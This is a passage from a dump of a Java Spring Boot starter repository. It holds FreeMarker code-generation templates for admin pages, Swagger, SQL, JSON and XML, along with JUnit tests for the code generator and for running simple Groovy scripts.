   <a class=\"layui-btn layui-btn-xs layui-btn-danger data-count-delete\" lay-event=\"delete\">删除</a>\n        </script>\n\n        <script type=\"text/html\" id=\"typeTemplate\">\n            {{#  if(d.type == '1'){ }}\n            常规\n            {{#  } else if(d.type =='2') { }}\n            专项\n            {{#  } else { }}\n            其它\n            {{#  } }}\n        </script>\n        <script type=\"text/html\" id=\"statusTemplate\">\n            {{#  if(d.status == '1' ){ }}\n            <i class=\"layui-icon layui-icon-ok\"></i>已发布\n            {{#  } else { }}\n            - 未发布\n            {{#  } }}\n        </script>\n    </div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form', 'table'], function () {\n        var $ = layui.jquery,\n            form = layui.form,\n            table = layui.table;\n\n        table.render({\n            elem: '#currentTableId',\n            method: 'post',\n            url: '￥{request.contextPath}/${classInfo.className?uncap_first}/list',\n            toolbar: '#toolbarDemo',\n            defaultToolbar: ['filter', 'exports', 'print', {\n                title: '提示',\n                layEvent: 'LAYTABLE_TIPS',\n                icon: 'layui-icon-tips'\n            }],\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', align: 'center', width: 100,sort: true,hide: false}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#currentTableBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        var result;\n        /**\n         * submit(data-search-btn):监听搜索操作\n         */\n        form.on('submit(data-search-btn)', function (data) {\n            result = JSON.stringify(data.field);\n\n            //执行搜索重载\n            table.reload('currentTableId', {\n                page: {\n                    curr: 1\n                }\n                , where: {\n                    searchParams: result\n                }\n            }, 'data');\n\n            return false;\n        });\n\n        var searchBtn = $(\"#searchBtn\");\n        /**\n         * toolbar监听事件:表格添加按钮\n         */\n        table.on('toolbar(currentTableFilter)', function (obj) {\n            if (obj.event === 'add') {\n                var index = layer.open({\n                    title: '添加',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '￥{request.contextPath}/${classInfo.className?uncap_first}/edit?id=0',\n                });\n                return false;\n            }else if(obj.event === 'del') {\n                var checkStatus = table.checkStatus('currentTableId')\n                    , data = checkStatus.data;\n                layer.alert(JSON.stringify(data));\n            }\n        });\n        /**\n         * checkbox(currentTableFilter):表格复选框选择\n         */\n        table.on('checkbox(currentTableFilter)', function (obj) {\n            //console.log(obj)\n        });\n\n        /**\n         * tool监听事件:表格编辑删除等功能按钮\n         */\n        table.on('tool(currentTableFilter)', function (obj) {\n            var data = obj.data;\n            if (obj.event === 'edit') {\n                var index = layer.open({\n                    title: '编辑',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '￥{request.contextPath}/${classInfo.className?uncap_first}/edit?id='+obj.data.${classInfo.className?uncap_first}Id,\n                });\n                return false;\n            } else if (obj.event === 'delete') {\n                layer.confirm('确认删除该记录吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/delete\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id},\n                        success: function (responseData) {\n                            if (responseData.code === 200) {\n                                layer.msg(responseData.msg, function () {\n                                    obj.del();\n                                });\n                            } else {\n                                layer.msg(responseData.msg, function () {\n                                });\n                            }\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'publish') {\n                layer.confirm('确定要发布吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"1\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'unpublish') {\n                layer.confirm('确定要停止吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"0\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n        });\n\n    });\n</script>\n<script>\n\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/ui/${classInfo.className}swagger.json.ftl",
    "content": "@ApiOperation(value = \"${classInfo.classComment}\", notes = \"${classInfo.classComment}\")\n    @ApiImplicitParams({\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                @ApiImplicitParam(name = \"${fieldItem.fieldName}\", value = \"${fieldItem.fieldComment}\", required = false, dataType = \"${fieldItem.fieldClass}\")<#if fieldItem_has_next>,</#if>\n                </#list>\n            </#if>\n    }\n    )\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/util/${classInfo.className}beanutil.java.ftl",
    "content": "/**\n* ${classInfo.classComment}对象Get Set\n* @author ${authorName} ${.now?string('yyyy-MM-dd')}\n*/\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${fieldItem.fieldClass} ${fieldItem.fieldName} = ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}();\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${classInfo.className?uncap_first}.set${fieldItem.fieldName?cap_first}();\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\n${classInfo.className?uncap_first}.set${fieldItem.fieldName?cap_first}(${classInfo.className?uncap_first}2.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.fieldName?uncap_first}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.columnName}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\nmap.put(\"${fieldItem.fieldComment}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n<#list classInfo.fieldList as fieldItem>\n// ${fieldItem.fieldComment}\nmap.put(\"${fieldItem.fieldName?uncap_first}\",${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n</#list>\n\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/util/${classInfo.className}json.json.ftl",
    "content": "<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n{\n<#list classInfo.fieldList as fieldItem>\n \"${fieldItem.fieldName}\":\"${fieldItem.fieldComment}\"<#if fieldItem_has_next>,</#if>\n</#list>\n}\n\n{\n<#list classInfo.fieldList as fieldItem>\n \"${fieldItem.fieldName}\":\"\"<#if fieldItem_has_next>,</#if>\n</#list>\n}\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/util/${classInfo.className}sql.sql.ftl",
    "content": "\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n #SQL横向select\n    SELECT <#list classInfo.fieldList as fieldItem >t.${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>\n    FROM ${classInfo.tableName} t;\n\n #CSV横向字段名\n    <#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#LEFT JOIN\n    SELECT\n        *\n    FROM\n    ${classInfo.tableName} a\n    LEFT JOIN ${classInfo.tableName} b\n    ON a.${classInfo.tableName}_id=b.${classInfo.tableName}_id\n    WHERE 1=1;\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#INSERT INTO\n    INSERT INTO ${classInfo.tableName} ( <#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list> )\n    VALUES\n    (\n    <#list classInfo.fieldList as fieldItem >''<#if fieldItem_has_next>,</#if></#list>\n    );\n</#if>\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#关联更新\n    UPDATE ${classInfo.tableName} a\n    JOIN ${classInfo.tableName}_join b ON a.${classInfo.tableName}_id = b.${classInfo.tableName}_id\n    SET <#list classInfo.fieldList as fieldItem > a.${fieldItem.columnName} = b.${fieldItem.columnName}<#if fieldItem_has_next>,</#if> </#list>\n    WHERE\n    b.${classInfo.tableName}_id IS NOT NULL;\n\n    UPDATE ${classInfo.tableName} a,${classInfo.tableName}_join b\n    SET <#list classInfo.fieldList as fieldItem > a.${fieldItem.columnName} = b.${fieldItem.columnName}<#if fieldItem_has_next>,</#if> </#list>\n    WHERE a.${classInfo.tableName}_id = b.${classInfo.tableName}_id;\n\n#普通update\n    UPDATE ${classInfo.tableName}\n    SET\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>\n    WHERE\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>;\n</#if>\n\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#关联删除\n    delete a from ${classInfo.tableName}_del as a inner join ${classInfo.tableName} as b\n    where a.${classInfo.tableName}_id=b.${classInfo.tableName}_id;\n\n#普通删除\n    DELETE\n    FROM\n    ${classInfo.tableName}\n    WHERE\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>;\n\n</#if>\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/util/${classInfo.className}swagger.yml.ftl",
    "content": "\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n${classInfo.className}:\n  type: \"object\"\n  properties:\n<#list classInfo.fieldList as fieldItem >\n    ${fieldItem.fieldName}:\n      type: ${fieldItem.swaggerClass}\n      description:  <#if isComment?exists && isComment==true>\"${fieldItem.fieldComment}\"</#if>\n</#list>\n</#if>\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/util/${classInfo.className}xml.xml.ftl",
    "content": "<!--\n ${classInfo.classComment}对象Get Set\n @author ${authorName} ${.now?string('yyyy-MM-dd')}\n-->\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<${classInfo.className}>\n<#list classInfo.fieldList as fieldItem>\n <${fieldItem.fieldName}>${fieldItem.fieldComment}</${fieldItem.fieldName}>\n</#list>\n</${classInfo.className}>\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/datas/test_data_system_in.txt",
    "content": "import java.util.Scanner;\npublic class Run {\n    public static void main(String[] args) {\n        Scanner in = new Scanner(System.in);\n        System.out.println(in.nextInt());\n        System.out.println(in.nextDouble());\n        System.out.println(in.next());\n    }\n}\n\n1 1.5\nfsdfasdfasdf"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/code/CodeUtilTest.java",
    "content": "package io.github.wujun728.code;\n\nimport cn.hutool.core.map.MapUtil;\nimport io.github.wujun728.sql.DataSourcePool;\nimport io.github.wujun728.generator.CodeUtil;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\n\n@Slf4j\npublic class CodeUtilTest {\n\n    public static void main(String[] args) {\n        //testAllGroup();\n        testDbRecordGroup();\n    }\n\n    private static void testDbRecordGroup() {\n        String url = \"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n        CodeUtil.customeConfig = MapUtil.ofEntries(MapUtil.entry(CodeUtil.authorName,\"wujun\"),MapUtil.entry(CodeUtil.packageName,\"com.hp.test1\"));\n        String absPath = \"D:\\\\workspace\\\\github\\\\jun_code_generator\\\\jun-code-generator\\\\src\\\\main\\\\java\";\n        CodeUtil.genCodeFile(ds,\"biz_test\",absPath, CodeUtil.GROUP_DB_RECORD);\n    }\n\n    private static void testAllGroup() {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.MYBATIS_PLUG_VO_JAVA);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.MYBATIS_PLUG_CONTROLLER_JAVA);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.UTIL_SQL);\n//        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/jva/test\", CodeUtil.BEETLSQL_BEETLCONTROLLER);\n        CodeUtil.customeConfig = MapUtil.ofEntries(MapUtil.entry(CodeUtil.authorName,\"wujun\"),MapUtil.entry(CodeUtil.packageName,\"io.github.wujun728.test1\"));\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_BEETLSQL);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_JPA);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_JDBCTEMPLATE);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_MYBATIS);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_MYBATIS_PLUG_NO1);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_MYBATISPLUS);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_UI);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_UTIL);\n        CodeUtil.genCodeFile(ds,\"biz_mail\",\"D:/java1/test\", CodeUtil.GROUP_DB_RECORD);\n//        CodeUtil.genCodeFile(ds,\"biz_mail\",CodeUtil.MYBATIS_PLUG_SINGLE_VO_JAVA,\"D:/jva/test\");\n\n\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.JDBCTEMPLATE_JTDAO);\n//        CodeUtil.genCode(ds,\"biz_mail\",CodeUtil.JDBCTEMPLATE_JTDAOIMPL);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/generator/CodeGeneratorTest.java",
    "content": "package io.github.wujun728.generator;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.generator.entity.FieldInfo;\nimport io.github.wujun728.generator.entity.NonCaseString;\nimport io.github.wujun728.generator.entity.ParamInfo;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.generator.util.TableParseUtil;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.Statement;\nimport java.util.*;\n\nimport static org.junit.Assert.*;\n\n/**\n * 代码生成模块单元测试\n */\npublic class CodeGeneratorTest {\n\n    private DataSource dataSource;\n\n    @Before\n    public void setUp() throws Exception {\n        DruidDataSource ds = new DruidDataSource();\n        ds.setDriverClassName(\"org.h2.Driver\");\n        ds.setUrl(\"jdbc:h2:mem:test_codegen;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds.setUsername(\"sa\");\n        ds.setPassword(\"\");\n        ds.init();\n        this.dataSource = ds;\n\n        try (Connection conn = ds.getConnection(); Statement stmt = conn.createStatement()) {\n            stmt.execute(\"CREATE TABLE IF NOT EXISTS sys_user (\"\n                    + \"id BIGINT PRIMARY KEY AUTO_INCREMENT,\"\n                    + \"user_name VARCHAR(100),\"\n                    + \"email VARCHAR(200),\"\n                    + \"age INT,\"\n                    + \"create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP\"\n                    + \")\");\n            stmt.execute(\"COMMENT ON TABLE sys_user IS 'user table'\");\n            stmt.execute(\"COMMENT ON COLUMN sys_user.id IS 'user ID'\");\n            stmt.execute(\"COMMENT ON COLUMN sys_user.user_name IS 'username'\");\n            stmt.execute(\"COMMENT ON COLUMN sys_user.email IS 'email address'\");\n            stmt.execute(\"COMMENT ON COLUMN sys_user.age IS 'user age'\");\n            stmt.execute(\"COMMENT ON COLUMN sys_user.create_time IS 'create time'\");\n            stmt.execute(\"INSERT INTO sys_user (user_name, email, age) VALUES ('test', 'test@test.com', 25)\");\n        }\n    }\n\n    @After\n    public void tearDown() throws Exception {\n        if (dataSource instanceof DruidDataSource) {\n            ((DruidDataSource) dataSource).close();\n        }\n    }\n\n    @Test\n    public void testGetClassInfo() {\n        ClassInfo classInfo = CodeUtil.getClassInfo(dataSource, \"SYS_USER\");\n        assertNotNull(\"ClassInfo should not be null\", classInfo);\n        assertNotNull(classInfo.getFieldList());\n        assertTrue(\"Should have fields\", classInfo.getFieldList().size() >= 4);\n\n        // Verify field mapping\n        boolean foundId = false;\n        boolean foundUserName = false;\n        for (FieldInfo field : classInfo.getFieldList()) {\n            if (\"ID\".equalsIgnoreCase(field.getColumnName())) {\n                foundId = true;\n                assertTrue(\"id should be primary key\", field.getIsPrimaryKey());\n            }\n            if (\"USER_NAME\".equalsIgnoreCase(field.getColumnName())) {\n                foundUserName = true;\n            }\n        }\n        assertTrue(\"Should have id field\", foundId);\n        assertTrue(\"Should have user_name field\", foundUserName);\n    }\n\n    @Test\n    public void testGenCodeDbRecord() {\n        Map<String, String> codeMap = CodeUtil.genCodeReturnMap(dataSource, \"SYS_USER\", CodeUtil.GROUP_DB_RECORD);\n        assertNotNull(\"Code map should not be null\", codeMap);\n        assertFalse(\"Code map should not be empty\", codeMap.isEmpty());\n\n        // DB_RECORD group has controller and entity templates\n        for (Map.Entry<String, String> entry : codeMap.entrySet()) {\n            assertNotNull(\"Code content should not be null for \" + entry.getKey(), entry.getValue());\n            assertTrue(\"Code content should not be empty for \" + entry.getKey(), entry.getValue().length() > 0);\n        }\n    }\n\n    @Test\n    public void testGenCodeForTables() {\n        List<String> tables = Arrays.asList(\"SYS_USER\");\n        Map<String, Map<String, String>> result = CodeUtil.genCodeForTables(dataSource, tables, CodeUtil.GROUP_DB_RECORD);\n        assertNotNull(result);\n        assertTrue(\"Should contain SYS_USER\", result.containsKey(\"SYS_USER\"));\n\n        Map<String, String> sysUserCode = result.get(\"SYS_USER\");\n        assertFalse(\"sys_user code should not be empty\", sysUserCode.isEmpty());\n    }\n\n    @Test\n    public void testFreemarkerUtil() throws Exception {\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"name\", \"World\");\n        String result = FreemarkerUtil.processStringTemplate(\"hello ${name}\", params);\n        assertEquals(\"hello World\", result);\n    }\n\n    @Test\n    public void testFreemarkerUtilGenTemplateStr() throws Exception {\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"count\", 42);\n        params.put(\"label\", \"items\");\n        String template = \"Total: ${count} ${label}\";\n        String result = FreemarkerUtil.genTemplateStr(params, \"test\", template);\n        assertEquals(\"Total: 42 items\", result);\n    }\n\n    @Test\n    public void testTableParseUtil() {\n        String ddl = \"CREATE TABLE `test_table` (\\n\"\n                + \"  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT 'ID',\\n\"\n                + \"  `name` varchar(100) DEFAULT NULL COMMENT 'Name',\\n\"\n                + \"  `status` int(11) DEFAULT NULL COMMENT 'Status',\\n\"\n                + \"  PRIMARY KEY (`id`)\\n\"\n                + \") ENGINE=InnoDB COMMENT='test table';\";\n\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setTableSql(ddl);\n        Map<String, Object> options = new HashMap<>();\n        options.put(\"nameCaseType\", ParamInfo.NAME_CASE_TYPE.CAMEL_CASE);\n        options.put(\"isPackageType\", false);\n        paramInfo.setOptions(options);\n\n        try {\n            ClassInfo classInfo = TableParseUtil.processTableIntoClassInfo(paramInfo);\n            assertNotNull(\"ClassInfo should not be null\", classInfo);\n            assertEquals(\"TestTable\", classInfo.getClassName());\n            assertNotNull(classInfo.getFieldList());\n            assertTrue(\"Should have at least 3 fields\", classInfo.getFieldList().size() >= 3);\n        } catch (Exception e) {\n            fail(\"Should not throw exception: \" + e.getMessage());\n        }\n    }\n\n    @Test\n    public void testCodeUtilGetType() {\n        assertEquals(\"java.lang.Integer\", CodeUtil.getType(4));\n        assertEquals(\"java.lang.Long\", CodeUtil.getType(-5));\n        assertEquals(\"java.lang.String\", CodeUtil.getType(12));\n        assertEquals(\"java.util.Date\", CodeUtil.getType(93));\n        assertEquals(\"java.lang.Boolean\", CodeUtil.getType(16));\n        assertEquals(\"java.lang.String\", CodeUtil.getType(9999)); // default\n    }\n\n    @Test\n    public void testCodeUtilReplace_() {\n        assertEquals(\"userName\", CodeUtil.replace_(\"user_name\"));\n        assertEquals(\"id\", CodeUtil.replace_(\"id\"));\n        assertEquals(\"createTime\", CodeUtil.replace_(\"create_time\"));\n    }\n\n    @Test\n    public void testCodeUtilFirstUpper() {\n        assertEquals(\"Hello\", CodeUtil.firstUpper(\"hello\"));\n        assertEquals(\"A\", CodeUtil.firstUpper(\"a\"));\n        assertEquals(\"\", CodeUtil.firstUpper(\"\"));\n    }\n\n    @Test\n    public void testCodeUtilSimpleName() {\n        assertEquals(\"String\", CodeUtil.simpleName(\"java.lang.String\"));\n        assertEquals(\"Integer\", CodeUtil.simpleName(\"java.lang.Integer\"));\n        assertEquals(\"Date\", CodeUtil.simpleName(\"java.util.Date\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/test/java/io/github/wujun728/groovy/GroovyScriptTest.java",
    "content": "package io.github.wujun728.groovy;\n\nimport groovy.lang.Binding;\nimport groovy.lang.GroovyClassLoader;\nimport groovy.lang.GroovyShell;\nimport groovy.lang.Script;\nimport io.github.wujun728.groovy.cache.ApiConfigCache;\nimport io.github.wujun728.groovy.interfaces.IRun;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineManager;\nimport java.util.Collection;\n\nimport static org.junit.Assert.*;\n\n/**\n * Groovy 脚本执行模块单元测试\n */\npublic class GroovyScriptTest {\n\n    @Before\n    public void setUp() {\n        ApiConfigCache.clear();\n    }\n\n    @After\n    public void tearDown() {\n        ApiConfigCache.clear();\n    }\n\n    @Test\n    public void testGroovyShellExecute() {\n        Binding binding = new Binding();\n        binding.setVariable(\"x\", 10);\n        binding.setVariable(\"y\", 20);\n        GroovyShell shell = new GroovyShell(binding);\n        Object result = shell.evaluate(\"x + y\");\n        assertEquals(30, result);\n    }\n\n    @Test\n    public void testGroovyShellExecuteString() {\n        GroovyShell shell = new GroovyShell();\n        Object result = shell.evaluate(\"'Hello' + ' ' + 'Groovy'\");\n        assertEquals(\"Hello Groovy\", result);\n    }\n\n    @Test\n    public void testGroovyClassLoaderExecute() throws Exception {\n        GroovyClassLoader classLoader = new GroovyClassLoader();\n        String scriptText = \"class Calculator { int add(int a, int b) { return a + b } }\";\n        Class<?> clazz = classLoader.parseClass(scriptText);\n        Object instance = clazz.newInstance();\n        Object result = clazz.getMethod(\"add\", int.class, int.class).invoke(instance, 3, 7);\n        assertEquals(10, result);\n        classLoader.close();\n    }\n\n    @Test\n    public void testGroovyClassLoaderScript() throws Exception {\n        GroovyClassLoader classLoader = new GroovyClassLoader();\n        String scriptText = \"def compute() { return 42 }; compute()\";\n        Class<?> clazz = classLoader.parseClass(scriptText);\n        Object instance = clazz.newInstance();\n        if (instance instanceof Script) {\n            Object result = ((Script) instance).run();\n            assertEquals(42, result);\n        }\n        classLoader.close();\n    }\n\n    @Test\n    public void testScriptEngineExecute() throws Exception {\n        ScriptEngineManager manager = new ScriptEngineManager();\n        ScriptEngine engine = manager.getEngineByName(\"groovy\");\n        if (engine != null) {\n            engine.put(\"name\", \"World\");\n            Object result = engine.eval(\"'Hello ' + name\");\n            assertEquals(\"Hello World\", result);\n        }\n    }\n\n    @Test\n    public void testScriptEngineArithmetic() throws Exception {\n        ScriptEngineManager manager = new ScriptEngineManager();\n        ScriptEngine engine = manager.getEngineByName(\"groovy\");\n        if (engine != null) {\n            Object result = engine.eval(\"(1..10).sum()\");\n            assertEquals(55, result);\n        }\n    }\n\n    @Test\n    public void testIRunInterface() throws Exception {\n        GroovyClassLoader classLoader = new GroovyClassLoader();\n        String scriptText =\n                \"import io.github.wujun728.groovy.interfaces.IRun\\n\" +\n                \"class TestRunner implements IRun {\\n\" +\n                \"    Object run(Map<String, Object> params) {\\n\" +\n                \"        return 'result:' + params.get('key')\\n\" +\n                \"    }\\n\" +\n                \"}\";\n        Class<?> clazz = classLoader.parseClass(scriptText);\n        Object instance = clazz.newInstance();\n        assertTrue(\"Should implement IRun\", instance instanceof IRun);\n        IRun runner = (IRun) instance;\n        java.util.Map<String, Object> params = new java.util.HashMap<>();\n        params.put(\"key\", \"test_value\");\n        Object result = runner.run(params);\n        assertEquals(\"result:test_value\", result);\n        classLoader.close();\n    }\n\n    @Test\n    public void testApiConfigCachePutAndGet() {\n        ApiConfig config = new ApiConfig();\n        config.setPath(\"/api/test\");\n        config.setBeanName(\"testBean\");\n        config.setName(\"Test API\");\n\n        ApiConfigCache.put(config);\n\n        ApiConfig retrieved = ApiConfigCache.get(\"/api/test\");\n        assertNotNull(\"Should retrieve config\", retrieved);\n        assertEquals(\"/api/test\", retrieved.getPath());\n        assertEquals(\"testBean\", retrieved.getBeanName());\n    }\n\n    @Test\n    public void testApiConfigCacheGetAll() {\n        ApiConfig config1 = new ApiConfig();\n        config1.setPath(\"/api/test1\");\n        config1.setBeanName(\"bean1\");\n\n        ApiConfig config2 = new ApiConfig();\n        config2.setPath(\"/api/test2\");\n        config2.setBeanName(\"bean2\");\n\n        ApiConfigCache.put(config1);\n        ApiConfigCache.put(config2);\n\n        Collection<ApiConfig> all = ApiConfigCache.getAll();\n        assertEquals(2, all.size());\n    }\n\n    @Test\n    public void testApiConfigCacheRemove() {\n        ApiConfig config = new ApiConfig();\n        config.setPath(\"/api/remove\");\n        config.setBeanName(\"removeBean\");\n\n        ApiConfigCache.put(config);\n        assertNotNull(ApiConfigCache.get(\"/api/remove\"));\n\n        ApiConfigCache.remove(config);\n        assertNull(ApiConfigCache.get(\"/api/remove\"));\n    }\n\n    @Test\n    public void testApiConfigCacheClear() {\n        ApiConfig config1 = new ApiConfig();\n        config1.setPath(\"/api/clear1\");\n        config1.setBeanName(\"clearBean1\");\n\n        ApiConfig config2 = new ApiConfig();\n        config2.setPath(\"/api/clear2\");\n        config2.setBeanName(\"clearBean2\");\n\n        ApiConfigCache.put(config1);\n        ApiConfigCache.put(config2);\n        assertEquals(2, ApiConfigCache.getAll().size());\n\n        ApiConfigCache.clear();\n        assertEquals(0, ApiConfigCache.getAll().size());\n    }\n\n    @Test\n    public void testApiConfigCacheGetByBeanName() {\n        ApiConfig config = new ApiConfig();\n        config.setPath(\"/api/byname\");\n        config.setBeanName(\"targetBean\");\n\n        ApiConfigCache.put(config);\n\n        ApiConfig found = ApiConfigCache.getByBeanName(\"targetBean\");\n        assertNotNull(\"Should find by bean name\", found);\n        assertEquals(\"/api/byname\", found.getPath());\n    }\n\n    @Test\n    public void testApiConfigCachePutAll() {\n        java.util.List<ApiConfig> configs = new java.util.ArrayList<>();\n        for (int i = 0; i < 5; i++) {\n            ApiConfig config = new ApiConfig();\n            config.setPath(\"/api/batch\" + i);\n            config.setBeanName(\"batchBean\" + i);\n            configs.add(config);\n        }\n\n        ApiConfigCache.putAll(configs);\n        assertEquals(5, ApiConfigCache.getAll().size());\n\n        // putAll clears and re-adds\n        java.util.List<ApiConfig> newConfigs = new java.util.ArrayList<>();\n        ApiConfig single = new ApiConfig();\n        single.setPath(\"/api/new\");\n        single.setBeanName(\"newBean\");\n        newConfigs.add(single);\n\n        ApiConfigCache.putAll(newConfigs);\n        assertEquals(1, ApiConfigCache.getAll().size());\n    }\n}\n"
  },
  {
